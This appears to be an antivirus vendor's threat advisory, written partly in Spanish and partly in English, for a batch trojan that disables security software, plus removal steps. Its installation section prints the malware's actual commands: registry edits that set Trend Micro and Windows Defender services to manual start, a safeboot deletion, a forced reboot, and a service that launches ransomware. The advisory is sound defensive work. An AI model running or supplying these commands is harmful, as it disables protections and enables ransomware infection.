Trojan.BAT.KILLAV.WLDT
Windows
Threat Type:
Trojan
Destructiveness:
No
Encrypted:
No
In the wild::
Yes
OVERVIEW
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
Detalles de entrada
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Instalación
Agrega los procesos siguientes:
- net stop nkbkp
- sc delete nkbkp
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TMBMSRV /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TmPfw /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\dsagent /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tmlisten /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TmProxy /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ntrtscan /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tmeevw /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tmusa /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DSASvc /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tmccfs /v Start /t REG_DWORD /d 3 /f
- reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 3 /f
- bcdedit /deletevalue {current} safeboot
- shutdown /r /f /t 00 & del %0
- sc create nkbkp2 binpath= "%COMSPEC% /C start /b %Windows%\n.exe"
(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).
)Otras modificaciones del sistema
Modifica las siguientes entradas de registro:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\TMBMSRV
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\TmPfw
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\dsagent
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\tmlisten
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\ntrtscan
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\tmeevw
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\tmusa
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\DSASvc
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\tmccfs
Start = 3
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\WinDefend
Start = 3
Otros detalles
Hace lo siguiente:
- stops and deletes the following service
- nkbkp
- creates the following service to execute %Windows%\n.exe → detected as Ransom.Win64.MEDUSALOCKER.AA
- Service Name: nkbkp2
- ImagePath: "%COMSPEC% /C start /b %Windows%\n.exe"
- disables Automatic Start for the following AV services by setting it to Manual Start:
- TMBMSRV
- TmPfw
- dsagent
- tmlisten
- TmProxy
- ntrtscan
- tmeevw
- tmusa
- DSASvc
- tmccfs
- WinDefend
- restarts machine into normal mode
- deletes itself
SOLUTION
Step 1
Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restaurar este valor del Registro modificado
Importante: si modifica el Registro de Windows incorrectamente, podría hacer que el sistema funcione mal de manera irreversible. Lleve a cabo este paso solo si sabe cómo hacerlo o si puede contar con ayuda de su administrador del sistema. De lo contrario, lea este artículo de Microsoft antes de modificar el Registro del equipo.
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TMBMSRV
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TmPfw
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dsagent
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\tmlisten
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TmProxy
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ntrtscan
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\tmeevw
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\tmusa
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DSASvc
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\tmccfs
- Start = 3 → 2
- Start = 3 → 2
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinDefend
- Start = 3 → 2
- Start = 3 → 2
Step 4
Delete this registry key
=Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator’s help. You may also check out this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\nkbkp2
Step 5
Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.BAT.KILLAV.WLDT En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.
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